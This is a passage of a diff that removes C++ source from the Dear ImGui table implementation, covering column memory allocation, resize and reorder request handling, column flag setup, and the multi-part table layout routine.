ImGuiTableColumn(); - column->WidthAuto = width_auto; - column->IsPreserveWidthAuto = true; // Preserve WidthAuto when reinitializing a live table: not technically necessary but remove a visible flicker - column->DisplayOrder = table->DisplayOrderToIndex[n] = (ImGuiTableColumnIdx)n; - column->IsEnabled = column->IsEnabledNextFrame = true; - } - } - - // Load settings - if (table->IsSettingsRequestLoad) - TableLoadSettings(table); - - // Handle DPI/font resize - // This is designed to facilitate DPI changes with the assumption that e.g. style.CellPadding has been scaled as well. - // It will also react to changing fonts with mixed results. It doesn't need to be perfect but merely provide a decent transition. - // FIXME-DPI: Provide consistent standards for reference size. Perhaps using g.CurrentDpiScale would be more self explanatory. - // This is will lead us to non-rounded WidthRequest in columns, which should work but is a poorly tested path. - const float new_ref_scale_unit = g.FontSize; // g.Font->GetCharAdvance('A') ? - if (table->RefScale != 0.0f && table->RefScale != new_ref_scale_unit) - { - const float scale_factor = new_ref_scale_unit / table->RefScale; - //IMGUI_DEBUG_LOG("[table] %08X RefScaleUnit %.3f -> %.3f, scaling width by %.3f\n", table->ID, table->RefScaleUnit, new_ref_scale_unit, scale_factor); - for (int n = 0; n < columns_count; n++) - table->Columns[n].WidthRequest = table->Columns[n].WidthRequest * scale_factor; - } - table->RefScale = new_ref_scale_unit; - - // Disable output until user calls TableNextRow() or TableNextColumn() leading to the TableUpdateLayout() call.. - // This is not strictly necessary but will reduce cases were "out of table" output will be misleading to the user. - // Because we cannot safely assert in EndTable() when no rows have been created, this seems like our best option. - inner_window->SkipItems = true; - - // Clear names - // At this point the ->NameOffset field of each column will be invalid until TableUpdateLayout() or the first call to TableSetupColumn() - if (table->ColumnsNames.Buf.Size > 0) - table->ColumnsNames.Buf.resize(0); - - // Apply queued resizing/reordering/hiding requests - TableBeginApplyRequests(table); - - return true; -} - -// For reference, the average total _allocation count_ for a table is: -// + 0 (for ImGuiTable instance, we are pooling allocations in g.Tables) -// + 1 (for table->RawData allocated below) -// + 1 (for table->ColumnsNames, if names are used) -// + 1 (for table->Splitter._Channels) -// + 2 * active_channels_count (for ImDrawCmd and ImDrawIdx buffers inside channels) -// Where active_channels_count is variable but often == columns_count or columns_count + 1, see TableSetupDrawChannels() for details. -// Unused channels don't perform their +2 allocations. -void ImGui::TableBeginInitMemory(ImGuiTable* table, int columns_count) -{ - // Allocate single buffer for our arrays - ImSpanAllocator<3> span_allocator; - span_allocator.Reserve(0, columns_count * sizeof(ImGuiTableColumn)); - span_allocator.Reserve(1, columns_count * sizeof(ImGuiTableColumnIdx)); - span_allocator.Reserve(2, columns_count * sizeof(ImGuiTableCellData), 4); - table->RawData = IM_ALLOC(span_allocator.GetArenaSizeInBytes()); - memset(table->RawData, 0, span_allocator.GetArenaSizeInBytes()); - span_allocator.SetArenaBasePtr(table->RawData); - span_allocator.GetSpan(0, &table->Columns); - span_allocator.GetSpan(1, &table->DisplayOrderToIndex); - span_allocator.GetSpan(2, &table->RowCellData); -} - -// Apply queued resizing/reordering/hiding requests -void ImGui::TableBeginApplyRequests(ImGuiTable* table) -{ - // Handle resizing request - // (We process this at the first TableBegin of the frame) - // FIXME-TABLE: Contains columns if our work area doesn't allow for scrolling? - if (table->InstanceCurrent == 0) - { - if (table->ResizedColumn != -1 && table->ResizedColumnNextWidth != FLT_MAX) - TableSetColumnWidth(table->ResizedColumn, table->ResizedColumnNextWidth); - table->LastResizedColumn = table->ResizedColumn; - table->ResizedColumnNextWidth = FLT_MAX; - table->ResizedColumn = -1; - - // Process auto-fit for single column, which is a special case for stretch columns and fixed columns with FixedSame policy. - // FIXME-TABLE: Would be nice to redistribute available stretch space accordingly to other weights, instead of giving it all to siblings. - if (table->AutoFitSingleColumn != -1) - { - TableSetColumnWidth(table->AutoFitSingleColumn, table->Columns[table->AutoFitSingleColumn].WidthAuto); - table->AutoFitSingleColumn = -1; - } - } - - // Handle reordering request - // Note: we don't clear ReorderColumn after handling the request. - if (table->InstanceCurrent == 0) - { - if (table->HeldHeaderColumn == -1 && table->ReorderColumn != -1) - table->ReorderColumn = -1; - table->HeldHeaderColumn = -1; - if (table->ReorderColumn != -1 && table->ReorderColumnDir != 0) - { - // We need to handle reordering across hidden columns. - // In the configuration below, moving C to the right of E will lead to: - // ... C [D] E ---> ... [D] E C (Column name/index) - // ... 2 3 4 ... 2 3 4 (Display order) - const int reorder_dir = table->ReorderColumnDir; - IM_ASSERT(reorder_dir == -1 || reorder_dir == +1); - IM_ASSERT(table->Flags & ImGuiTableFlags_Reorderable); - ImGuiTableColumn* src_column = &table->Columns[table->ReorderColumn]; - ImGuiTableColumn* dst_column = &table->Columns[(reorder_dir == -1) ? src_column->PrevEnabledColumn : src_column->NextEnabledColumn]; - IM_UNUSED(dst_column); - const int src_order = src_column->DisplayOrder; - const int dst_order = dst_column->DisplayOrder; - src_column->DisplayOrder = (ImGuiTableColumnIdx)dst_order; - for (int order_n = src_order + reorder_dir; order_n != dst_order + reorder_dir; order_n += reorder_dir) - table->Columns[table->DisplayOrderToIndex[order_n]].DisplayOrder -= (ImGuiTableColumnIdx)reorder_dir; - IM_ASSERT(dst_column->DisplayOrder == dst_order - reorder_dir); - - // Display order is stored in both columns->IndexDisplayOrder and table->DisplayOrder[], - // rebuild the later from the former. - for (int column_n = 0; column_n < table->ColumnsCount; column_n++) - table->DisplayOrderToIndex[table->Columns[column_n].DisplayOrder] = (ImGuiTableColumnIdx)column_n; - table->ReorderColumnDir = 0; - table->IsSettingsDirty = true; - } - } - - // Handle display order reset request - if (table->IsResetDisplayOrderRequest) - { - for (int n = 0; n < table->ColumnsCount; n++) - table->DisplayOrderToIndex[n] = table->Columns[n].DisplayOrder = (ImGuiTableColumnIdx)n; - table->IsResetDisplayOrderRequest = false; - table->IsSettingsDirty = true; - } -} - -// Adjust flags: default width mode + stretch columns are not allowed when auto extending -static void TableSetupColumnFlags(ImGuiTable* table, ImGuiTableColumn* column, ImGuiTableColumnFlags flags_in) -{ - ImGuiTableColumnFlags flags = flags_in; - - // Sizing Policy - if ((flags & ImGuiTableColumnFlags_WidthMask_) == 0) - { - const ImGuiTableFlags table_sizing_policy = (table->Flags & ImGuiTableFlags_SizingMask_); - if (table_sizing_policy == ImGuiTableFlags_SizingFixedFit || table_sizing_policy == ImGuiTableFlags_SizingFixedSame) - flags |= ImGuiTableColumnFlags_WidthFixed; - else - flags |= ImGuiTableColumnFlags_WidthStretch; - } - else - { - IM_ASSERT(ImIsPowerOfTwo(flags & ImGuiTableColumnFlags_WidthMask_)); // Check that only 1 of each set is used. - } - - // Resize - if ((table->Flags & ImGuiTableFlags_Resizable) == 0) - flags |= ImGuiTableColumnFlags_NoResize; - - // Sorting - if ((flags & ImGuiTableColumnFlags_NoSortAscending) && (flags & ImGuiTableColumnFlags_NoSortDescending)) - flags |= ImGuiTableColumnFlags_NoSort; - - // Indentation - if ((flags & ImGuiTableColumnFlags_IndentMask_) == 0) - flags |= (table->Columns.index_from_ptr(column) == 0) ? ImGuiTableColumnFlags_IndentEnable : ImGuiTableColumnFlags_IndentDisable; - - // Alignment - //if ((flags & ImGuiTableColumnFlags_AlignMask_) == 0) - // flags |= ImGuiTableColumnFlags_AlignCenter; - //IM_ASSERT(ImIsPowerOfTwo(flags & ImGuiTableColumnFlags_AlignMask_)); // Check that only 1 of each set is used. - - // Preserve status flags - column->Flags = flags | (column->Flags & ImGuiTableColumnFlags_StatusMask_); - - // Build an ordered list of available sort directions - column->SortDirectionsAvailCount = column->SortDirectionsAvailMask = column->SortDirectionsAvailList = 0; - if (table->Flags & ImGuiTableFlags_Sortable) - { - int count = 0, mask = 0, list = 0; - if ((flags & ImGuiTableColumnFlags_PreferSortAscending) != 0 && (flags & ImGuiTableColumnFlags_NoSortAscending) == 0) { mask |= 1 << ImGuiSortDirection_Ascending; list |= ImGuiSortDirection_Ascending << (count << 1); count++; } - if ((flags & ImGuiTableColumnFlags_PreferSortDescending) != 0 && (flags & ImGuiTableColumnFlags_NoSortDescending) == 0) { mask |= 1 << ImGuiSortDirection_Descending; list |= ImGuiSortDirection_Descending << (count << 1); count++; } - if ((flags & ImGuiTableColumnFlags_PreferSortAscending) == 0 && (flags & ImGuiTableColumnFlags_NoSortAscending) == 0) { mask |= 1 << ImGuiSortDirection_Ascending; list |= ImGuiSortDirection_Ascending << (count << 1); count++; } - if ((flags & ImGuiTableColumnFlags_PreferSortDescending) == 0 && (flags & ImGuiTableColumnFlags_NoSortDescending) == 0) { mask |= 1 << ImGuiSortDirection_Descending; list |= ImGuiSortDirection_Descending << (count << 1); count++; } - if ((table->Flags & ImGuiTableFlags_SortTristate) || count == 0) { mask |= 1 << ImGuiSortDirection_None; count++; } - column->SortDirectionsAvailList = (ImU8)list; - column->SortDirectionsAvailMask = (ImU8)mask; - column->SortDirectionsAvailCount = (ImU8)count; - ImGui::TableFixColumnSortDirection(table, column); - } -} - -// Layout columns for the frame. This is in essence the followup to BeginTable(). -// Runs on the first call to TableNextRow(), to give a chance for TableSetupColumn() to be called first. -// FIXME-TABLE: Our width (and therefore our WorkRect) will be minimal in the first frame for _WidthAuto columns. -// Increase feedback side-effect with widgets relying on WorkRect.Max.x... Maybe provide a default distribution for _WidthAuto columns? -void ImGui::TableUpdateLayout(ImGuiTable* table) -{ - ImGuiContext& g = *GImGui; - IM_ASSERT(table->IsLayoutLocked == false); - - const ImGuiTableFlags table_sizing_policy = (table->Flags & ImGuiTableFlags_SizingMask_); - table->IsDefaultDisplayOrder = true; - table->ColumnsEnabledCount = 0; - table->EnabledMaskByIndex = 0x00; - table->EnabledMaskByDisplayOrder = 0x00; - table->LeftMostEnabledColumn = -1; - table->MinColumnWidth = ImMax(1.0f, g.Style.FramePadding.x * 1.0f); // g.Style.ColumnsMinSpacing; // FIXME-TABLE - - // [Part 1] Apply/lock Enabled and Order states. Calculate auto/ideal width for columns. Count fixed/stretch columns. - // Process columns in their visible orders as we are building the Prev/Next indices. - int count_fixed = 0; // Number of columns that have fixed sizing policies - int count_stretch = 0; // Number of columns that have stretch sizing policies - int prev_visible_column_idx = -1; - bool has_auto_fit_request = false; - bool has_resizable = false; - float stretch_sum_width_auto = 0.0f; - float fixed_max_width_auto = 0.0f; - for (int order_n = 0; order_n < table->ColumnsCount; order_n++) - { - const int column_n = table->DisplayOrderToIndex[order_n]; - if (column_n != order_n) - table->IsDefaultDisplayOrder = false; - ImGuiTableColumn* column = &table->Columns[column_n]; - - // Clear column setup if not submitted by user. Currently we make it mandatory to call TableSetupColumn() every frame. - // It would easily work without but we're not ready to guarantee it since e.g. names need resubmission anyway. - // We take a slight shortcut but in theory we could be calling TableSetupColumn() here with dummy values, it should yield the same effect. - if (table->DeclColumnsCount <= column_n) - { - TableSetupColumnFlags(table, column, ImGuiTableColumnFlags_None); - column->NameOffset = -1; - column->UserID = 0; - column->InitStretchWeightOrWidth = -1.0f; - } - - // Update Enabled state, mark settings/sortspecs dirty - if (!(table->Flags & ImGuiTableFlags_Hideable) || (column->Flags & ImGuiTableColumnFlags_NoHide)) - column->IsEnabledNextFrame = true; - if (column->IsEnabled != column->IsEnabledNextFrame) - { - column->IsEnabled = column->IsEnabledNextFrame; - table->IsSettingsDirty = true; - if (!column->IsEnabled && column->SortOrder != -1) - table->IsSortSpecsDirty = true; - } - if (column->SortOrder > 0 && !(table->Flags & ImGuiTableFlags_SortMulti)) - table->IsSortSpecsDirty = true; - - // Auto-fit unsized columns - const bool start_auto_fit = (column->Flags & ImGuiTableColumnFlags_WidthFixed) ? (column->WidthRequest < 0.0f) : (column->StretchWeight < 0.0f); - if (start_auto_fit) - column->AutoFitQueue = column->CannotSkipItemsQueue = (1 << 3) - 1; // Fit for three frames - - if (!column->IsEnabled) - { - column->IndexWithinEnabledSet = -1; - continue; - } - - // Mark as enabled and link to previous/next enabled column - column->PrevEnabledColumn = (ImGuiTableColumnIdx)prev_visible_column_idx; - column->NextEnabledColumn = -1; - if (prev_visible_column_idx != -1) - table->Columns[prev_visible_column_idx].NextEnabledColumn = (ImGuiTableColumnIdx)column_n; - else - table->LeftMostEnabledColumn = (ImGuiTableColumnIdx)column_n; - column->IndexWithinEnabledSet = table->ColumnsEnabledCount++; - table->EnabledMaskByIndex |= (ImU64)1 << column_n; - table->EnabledMaskByDisplayOrder |= (ImU64)1 << column->DisplayOrder; - prev_visible_column_idx = column_n; - IM_ASSERT(column->IndexWithinEnabledSet <= column->DisplayOrder); - - // Calculate ideal/auto column width (that's the width required for all contents to be visible without clipping) - // Combine width from regular rows + width from headers unless requested not to. - if (!column->IsPreserveWidthAuto) - column->WidthAuto = TableGetColumnWidthAuto(table, column); - - // Non-resizable columns keep their requested width (apply user value regardless of IsPreserveWidthAuto) - const bool column_is_resizable = (column->Flags & ImGuiTableColumnFlags_NoResize) == 0; - if (column_is_resizable) - has_resizable = true; - if ((column->Flags & ImGuiTableColumnFlags_WidthFixed) && column->InitStretchWeightOrWidth > 0.0f && !column_is_resizable) - column->WidthAuto = column->InitStretchWeightOrWidth; - - if (column->AutoFitQueue != 0x00) - has_auto_fit_request = true; - if (column->Flags & ImGuiTableColumnFlags_WidthStretch) - { - stretch_sum_width_auto += column->WidthAuto; - count_stretch++; - } - else - { - fixed_max_width_auto = ImMax(fixed_max_width_auto, column->WidthAuto); - count_fixed++; - } - } - if ((table->Flags & ImGuiTableFlags_Sortable) && table->SortSpecsCount == 0 && !(table->Flags & ImGuiTableFlags_SortTristate)) - table->IsSortSpecsDirty = true; - table->RightMostEnabledColumn = (ImGuiTableColumnIdx)prev_visible_column_idx; - IM_ASSERT(table->LeftMostEnabledColumn >= 0 && table->RightMostEnabledColumn >= 0); - - // [Part 2] Disable child window clipping while fitting columns. This is not strictly necessary but makes it possible - // to avoid the column fitting having to wait until the first visible frame of the child container (may or not be a good thing). - // FIXME-TABLE: for always auto-resizing columns may not want to do that all the time. - if (has_auto_fit_request && table->OuterWindow != table->InnerWindow) - table->InnerWindow->SkipItems = false; - if (has_auto_fit_request) - table->IsSettingsDirty = true; - - // [Part 3] Fix column flags and record a few extra information. - float sum_width_requests = 0.0f; // Sum of all width for fixed and auto-resize columns, excluding width contributed by Stretch columns but including spacing/padding. - float stretch_sum_weights = 0.0f; // Sum of all weights for stretch columns. - table->LeftMostStretchedColumn = table->RightMostStretchedColumn = -1; - for (int column_n = 0; column_n < table->ColumnsCount; column_n++) - { - if (!(table->EnabledMaskByIndex & ((ImU64)1 << column_n))) - continue; - ImGuiTableColumn* column = &table->Columns[column_n]; - - const bool column_is_resizable = (column->Flags & ImGuiTableColumnFlags_NoResize) == 0; - if (column->Flags & ImGuiTableColumnFlags_WidthFixed) - { - // Apply same widths policy - float width_auto = column->WidthAuto; - if (table_sizing_policy == ImGuiTableFlags_SizingFixedSame && (column->AutoFitQueue != 0x00 || !column_is_resizable)) - width_auto = fixed_max_width_auto; - - // Apply automatic width - // Latch initial size for fixed columns and update it constantly for auto-resizing column (unless clipped!) - if (column->AutoFitQueue != 0x00) - column->WidthRequest = width_auto; - else if ((column->Flags & ImGuiTableColumnFlags_WidthFixed) && !column_is_resizable && (table->RequestOutputMaskByIndex & ((ImU64)1 << column_n))) - column->WidthRequest = width_auto; - - // FIXME-TABLE: Increase minimum size during init frame to avoid biasing auto-fitting widgets - // (e.g. TextWrapped) too much. Otherwise what tends to happen is that TextWrapped would output a very - // large height (= first frame scrollbar display very off + clipper would skip lots of items). - // This is merely making the side-effect less extreme, but doesn't properly fixes it. - // FIXME: Move this to ->WidthGiven to avoid temporary lossyless? - // FIXME: This break IsPreserveWidthAuto from not flickering if the stored WidthAuto was smaller. - if (column->AutoFitQueue > 0x01 && table->IsInitializing && !column->IsPreserveWidthAuto) - column->WidthRequest = ImMax(column->WidthRequest, table->MinColumnWidth * 4.0f); // FIXME-TABLE: Another constant/scale? - sum_width_requests += column->WidthRequest; - } - else - { - // Initialize stretch weight - if (column->AutoFitQueue != 0x00 || column->StretchWeight < 0.0f || !column_is_resizable) - { - if (column->InitStretchWeightOrWidth > 0.0f) - column->StretchWeight = column->InitStretchWeightOrWidth; - else if (table_sizing_policy == ImGuiTableFlags_SizingStretchProp) - column->StretchWeight = (column->WidthAuto / stretch_sum_width_auto) * count_stretch; - else - column->StretchWeight = 1.0f; - } - - stretch_sum_weights += column->StretchWeight; - if (table->LeftMostStretchedColumn == -1 || table->Columns[table->LeftMostStretchedColumn].DisplayOrder > column->DisplayOrder) - table->LeftMostStretchedColumn = (ImGuiTableColumnIdx)column_n; - if (table->RightMostStretchedColumn == -1 || table->Columns[table->RightMostStretchedColumn].DisplayOrder < column->DisplayOrder) - table->RightMostStretchedColumn = (ImGuiTableColumnIdx)column_n; - } - column->IsPreserveWidthAuto = false; - sum_width_requests += table->CellPaddingX * 2.0f; - } - table->ColumnsEnabledFixedCount = (ImGuiTableColumnIdx)count_fixed; - - // [Part 4] Apply final widths based on requested widths - const ImRect work_rect = table->WorkRect; - const float width_spacings = (table->OuterPaddingX * 2.0f) + (table->CellSpacingX1 + table->CellSpacingX2) * (table->ColumnsEnabledCount - 1); - const float width_avail = ((table->Flags & ImGuiTableFlags_ScrollX) && table->InnerWidth == 0.0f) ? table->InnerClipRect.GetWidth() : work_rect.GetWidth(); - const float width_avail_for_stretched_columns = width_avail - width_spacings - sum_width_requests; - float width_remaining_for_stretched_columns = width_avail_for_stretched_columns; - table->ColumnsGivenWidth = width_spacings + (table->CellPaddingX * 2.0f) * table->ColumnsEnabledCount; - for (int column_n = 0; column_n < table->ColumnsCount; column_n++) - { - if (!(table->EnabledMaskByIndex & ((ImU64)1 << column_n))) - continue; - ImGuiTableColumn* column = &table->Columns[column_n]; - - // Allocate width for stretched/weighted columns (StretchWeight gets converted into WidthRequest) - if (column->Flags & ImGuiTableColumnFlags_WidthStretch) - { - float weight_ratio = column->StretchWeight / stretch_sum_weights; - column->WidthRequest = IM_FLOOR(ImMax(width_avail_for_stretched_columns * weight_ratio, table->MinColumnWidth) + 0.01f); - width_remaining_for_stretched_columns -= column->WidthRequest; - } - - // [Resize Rule 1] The right-most Visible column is not resizable if there is at least one Stretch column - // See additional comments in TableSetColumnWidth(). - if (column->NextEnabledColumn == -1 && table->LeftMostStretchedColumn != -1) - column->Flags |= ImGuiTableColumnFlags_NoDirectResize_; - - // Assign final width, record width in case we will need to shrink - column->WidthGiven = ImFloor(ImMax(column->WidthRequest, table->MinColumnWidth)); - table->ColumnsGivenWidth += column->WidthGiven; - } - - // [Part 5] Redistribute stretch remainder width due to rounding (remainder width is < 1.0f * number of Stretch column). - // Using right-to-left distribution (more likely to match resizing cursor). - if (width_remaining_for_stretched_columns >= 1.0f && !(table->Flags & ImGuiTableFlags_PreciseWidths)) - for (int order_n = table->ColumnsCount - 1; stretch_sum_weights > 0.0f && width_remaining_for_stretched_columns >= 1.0f && order_n >= 0; order_n--) - { - if (!(table->EnabledMaskByDisplayOrder & ((ImU64)1 << order_n))) - continue; - ImGuiTableColumn* column = &table->Columns[table->DisplayOrderToIndex[order_n]]; - if (!(column->Flags & ImGuiTableColumnFlags_WidthStretch)) - continue; - column->WidthRequest += 1.0f; - column->WidthGiven += 1.0f; - width_remaining_for_stretched_columns -= 1.0f; - } - - table->HoveredColumnBody = -1; - table->HoveredColumnBorder = -1; - const ImRect mouse_hit_rect(table->OuterRect.Min.x, table->OuterRect.Min.y, table->OuterRect.Max.x, ImMax(table->OuterRect.Max.y, table->OuterRect.Min.y + table->LastOuterHeight)); - const bool is_hovering_table = ItemHoverable(mouse_hit_rect, 0); - - // [Part 6] Setup final position, offset, skip/clip states and clipping rectangles, detect hovered column - // Process columns in their visible orders as we are comparing the visible order and adjusting host_clip_rect while looping. - int visible_n = 0; - bool offset_x_frozen = (table->FreezeColumnsCount > 0); - float offset_x = ((table->FreezeColumnsCount > 0) ? table->OuterRect.Min.x : work_rect.Min.x) + table->OuterPaddingX - table->CellSpacingX1; - ImRect host_clip_rect = table->InnerClipRect; - //host_clip_rect.Max.x += table->CellPaddingX + table->CellSpacingX2; - table->VisibleMaskByIndex = 0x00; - table->RequestOutputMaskByIndex = 0x00; - for (int order_n = 0; order_n < table->ColumnsCount; order_n++) - { - const int column_n = table->DisplayOrderToIndex[order_n]; - ImGuiTableColumn* column = &table->Columns[column_n]; - - column->NavLayerCurrent = (ImS8)((table->FreezeRowsCount > 0 || column_n < table->FreezeColumnsCount) ? ImGuiNavLayer_Menu : ImGuiNavLayer_Main); - - if (offset_x_frozen && table->FreezeColumnsCount == visible_n) - { - offset_x += work_rect.Min.x - table->OuterRect.Min.x; - offset_x_frozen = false; - } - - // Clear status flags - column->Flags &= ~ImGuiTableColumnFlags_StatusMask_; - - if ((table->EnabledMaskByDisplayOrder & ((ImU64)1 << order_n)) == 0) - { - // Hidden column: clear a few fields and we are done with it for the remainder of the function. - // We set a zero-width clip rect but set Min.y/Max.y properly to not interfere with the clipper. - column->MinX = column->MaxX = column->WorkMinX = column->ClipRect.Min.x = column->ClipRect.Max.x = offset_x; - column->WidthGiven = 0.0f; - column->ClipRect.Min.y = work_rect.Min.y; - column->ClipRect.Max.y = FLT_MAX; - column->ClipRect.ClipWithFull(host_clip_rect); - column->IsVisibleX = column->IsVisibleY = column->IsRequestOutput = false; - column->IsSkipItems = true; - column->ItemWidth = 1.0f; - continue; - } - - // Detect hovered column - if (is_hovering_table && g.IO.MousePos.x >= column->ClipRect.Min.x && g.IO.MousePos.x < column->ClipRect.Max.x) - table->HoveredColumnBody = (ImGuiTableColumnIdx)column_n; - - // Lock start position - column->MinX = offset_x; - - // Lock width based on start position and minimum/maximum width for this position - float max_width = TableGetMaxColumnWidth(table, column_n); - column->WidthGiven = ImMin(column->WidthGiven, max_width); - column->WidthGiven = ImMax(column->WidthGiven, ImMin(column->WidthRequest, table->MinColumnWidth)); - column->MaxX = offset_x + column->WidthGiven + table->CellSpacingX1 + table->CellSpacingX2 + table->CellPaddingX * 2.0f; - - // Lock other positions - // - ClipRect.Min.x: Because merging draw commands doesn't compare min boundaries, we make ClipRect.Min.x match left bounds to be consistent regardless of merging. - // - ClipRect.Max.x: using WorkMaxX instead of MaxX (aka including padding) makes things more consistent when resizing down, tho slightly detrimental to visibility in very-small column. - // - ClipRect.Max.x: using MaxX makes it easier for header to receive hover highlight with no discontinuity and display sorting arrow. - // - FIXME-TABLE: We want equal width columns to have equal (ClipRect.Max.x - WorkMinX) width, which means ClipRect.max.x cannot stray off host_clip_rect.Max.x else right-most column may appear shorter. - column->WorkMinX = column->MinX + table->CellPaddingX + table->CellSpacingX1; - column->WorkMaxX = column->MaxX - table->CellPaddingX - table->CellSpacingX2; // Expected max - column->ItemWidth = ImFloor(column->WidthGiven * 0.65f); - column->ClipRect.Min.x = column->MinX; - column->ClipRect.Min.y = work_rect.Min.y; - column->ClipRect.Max.x = column->MaxX; //column->WorkMaxX; - column->ClipRect.Max.y = FLT_MAX; - column->ClipRect.ClipWithFull(host_clip_rect); - - // Mark column as Clipped (not in sight) - // Note that scrolling tables (where inner_window != outer_window) handle Y clipped earlier in BeginTable() so IsVisibleY really only applies to non-scrolling tables. - // FIXME-TABLE: Because InnerClipRect.Max.y is conservatively ==outer_window->ClipRect.Max.y, we never can mark columns _Above_ the scroll line as not IsVisibleY. - // Taking advantage of LastOuterHeight would yield good results there... - // FIXME-TABLE: Y clipping is disabled because it effectively means not submitting will reduce contents width which is fed to outer_window->DC.CursorMaxPos.x, - // and this may be used (e.g. typically by outer_window using AlwaysAutoResize or outer_window's horizontal scrollbar, but could be something else). - // Possible solution to preserve last known content width for clipped column. Test 'table_reported_size' fails when enabling Y clipping and window is resized small. - column->IsVisibleX = (column->ClipRect.Max.x > column->ClipRect.Min.x); - column->IsVisibleY = true; // (column->ClipRect.Max.y > column->ClipRect.Min.y); - const bool is_visible = column->IsVisibleX; //&& column->IsVisibleY; - if (is_visible) - table->VisibleMaskByIndex |= ((ImU64)1 << column_n); - - // Mark column as requesting output from user. Note that fixed + non-resizable sets are auto-fitting at all times and therefore always request output. - column->IsRequestOutput = is_visible || column->AutoFitQueue != 0 || column->CannotSkipItemsQueue != 0; - if (column->IsRequestOutput) - table->RequestOutputMaskByIndex |= ((ImU64)1 << column_n); - - // Mark column as SkipItems (ignoring all items/layout) - column->IsSkipItems = !column->IsEnabled || table->HostSkipItems; - if (column->IsSkipItems) - IM_ASSERT(!is_visible); - - // Update status flags - column->Flags |= ImGuiTableColumnFlags_IsEnabled; - if (is_visible) - column->Flags |= ImGuiTableColumnFlags_IsVisible; - if (column->SortOrder != -1) - column->Flags |= ImGuiTableColumnFlags_IsSorted; - if (table->HoveredColumnBody == column_n) - column->Flags |= ImGuiTableColumnFlags_IsHovered; - - // Alignment - // FIXME-TABLE: This align based on the whole column width, not per-cell, and therefore isn't useful in - // many cases (to be able to honor this we might be able to store a log of cells width, per row, for - // visible rows, but nav/programmatic scroll would have visible artifacts.) - //if (column->Flags & ImGuiTableColumnFlags_AlignRight) - // column->WorkMinX = ImMax(column->WorkMinX, column->MaxX - column->ContentWidthRowsUnfrozen); - //else if (column->Flags & ImGuiTableColumnFlags_AlignCenter) - // column->WorkMinX = ImLerp(column->WorkMinX, ImMax(column->StartX, column->MaxX - column->ContentWidthRowsUnfrozen), 0.5f); - - // Reset content width variables - column->ContentMaxXFrozen = column->ContentMaxXUnfrozen = column->WorkMinX; - column->ContentMaxXHeadersUsed = column->ContentMaxXHeadersIdeal = column->WorkMinX; - - // Don't decrement auto-fit counters until container window got a chance to submit its items - if (table->HostSkipItems == false) - { - column->AutoFitQueue >>= 1; - column->CannotSkipItemsQueue >>= 1; - } - - if (visible_n < table->FreezeColumnsCount) - host_clip_rect.Min.x = ImClamp(column->MaxX + TABLE_BORDER_SIZE, host_clip_rect.Min.x, host_clip_rect.Max.x); - - offset_x += column->WidthGiven + table->CellSpacingX1 + table->CellSpacingX2 + table->CellPaddingX * 2.0f; - visible_n++; - } - - // [Part 7] Detect/store when we are hovering the unused space after the right-most column (so e.g. context menus can react on it) - // Clear Resizable flag if none of our column are actually resizable (either via an explicit _NoResize flag, either - // because of using _WidthAuto/_WidthStretch). This will hide the resizing option from the context menu. - const float unused_x1 = ImMax(table->WorkRect.Min.x, table->Columns[table->RightMostEnabledColumn].ClipRect.Max.x); - if (is_hovering_table && table->HoveredColumnBody == -1) - { - if (g.IO.MousePos.x >= unused_x1) - table->HoveredColumnBody = (ImGuiTableColumnIdx)table->ColumnsCount; - } - if (has_resizable == false && (table->Flags & ImGuiTableFlags_Resizable)) - table->Flags &= ~ImGuiTableFlags_Resizable; - - // [Part 8] Lock actual OuterRect/WorkRect right-most position. - // This is done late to handle the case of fixed-columns tables not claiming more widths that they need. - // Because of this we are careful with uses of WorkRect and InnerClipRect before this point. - if (table->RightMostStretchedColumn != -1) - table->Flags &= ~ImGuiTableFlags_NoHostExtendX; - if (table->Flags & ImGuiTableFlags_NoHostExtendX) - { - table->OuterRect.Max.x = table->WorkRect.Max.x = unused_x1; - table->InnerClipRect.Max.x = ImMin(table->InnerClipRect.Max.x, unused_x1); - } - table->InnerWindow->ParentWorkRect = table->WorkRect; - table->BorderX1 = table->InnerClipRect.Min.x;// +((table->Flags & ImGuiTableFlags_BordersOuter) ? 0.0f : -1.0f); - table->BorderX2 = table->InnerClipRect.Max.x;// +((table->Flags & ImGuiTableFlags_BordersOuter) ? 0.0f : +1.0f); - - // [Part 9] Allocate draw channels and setup background cliprect - TableSetupDrawChannels(table); - - // [Part 10] Hit testing on borders - if (table->Flags & ImGuiTableFlags_Resizable) - TableUpdateBorders(table); - table->LastFirstRowHeight = 0.0f; - table->IsLayoutLocked = true; - table->IsUsingHeaders = false; - - // [Part 11] Context menu - if (table->IsContextPopupOpen && table->InstanceCurrent == table->InstanceInteracted) - { - const ImGuiID context_menu_id = ImHashStr("##ContextMenu", 0, table->ID); - if (BeginPopupEx(context_menu_id, ImGuiWindowFlags_AlwaysAutoResize | ImGuiWindowFlags_NoTitleBar | ImGuiWindowFlags_NoSavedSettings)) - { - TableDrawContextMenu(table); - EndPopup(); - } - else - { - table->IsContextPopupOpen = false; - } - } - - // [Part 13] Sanitize and build sort specs before we have a change to use them for display. - // This path will only be exercised when sort specs are modified before header rows (e.g. init or visibility change) - if (table->IsSortSpecsDirty && (table->Flags & ImGuiTableFlags_Sortable)) - TableSortSpecsBuild(table); - - // Initial state - ImGuiWindow* inner_window = table->InnerWindow; - if (table->Flags & ImGuiTableFlags_NoClip) - table->DrawSplitter.SetCurrentChannel(inner_window->DrawList, TABLE_DRAW_CHANNEL_NOCLIP); - else - inner_window->DrawList->PushClipRect(inner_window->ClipRect.Min, inner_window->ClipRect.Max, false); -} - -// Process hit-testing on resizing borders. Actual size change will be applied in EndTable() -// - Set table->HoveredColumnBorder with a short delay/timer to reduce feedback noise -// - Submit ahead of table contents and header, use ImGuiButtonFlags_AllowItemOverlap to prioritize widgets -// overlapping the same area. -void ImGui::TableUpdateBorders(ImGuiTable* table) -{ - ImGuiContext& g = *GImGui; - IM_ASSERT(table->Flags & ImGuiTableFlags_Resizable); - - // At this point OuterRect height may be zero or under actual final height, so we rely on temporal coherency and - // use the final height from last frame. Because this is only affecting _interaction_ with columns, it is not - // really problematic (whereas the actual visual will be displayed in EndTable() and using the current frame height). - // Actual columns highlight/render will be performed in EndTable() and not be affected. - const float hit_half_width = TABLE_RESIZE_SEPARATOR_HALF_THICKNESS; - const float hit_y1 = table->OuterRect.Min.y; - const float hit_y2_body = ImMax(table->OuterRect.Max.y, hit_y1 + table->LastOuterHeight); - const float hit_y2_head = hit_y1 + table->LastFirstRowHeight; - - for (int order_n = 0; order_n < table->ColumnsCount; order_n++) - { - if (!(table->EnabledMaskByDisplayOrder & ((ImU64)1 << order_n))) - continue; - - const int column_n = 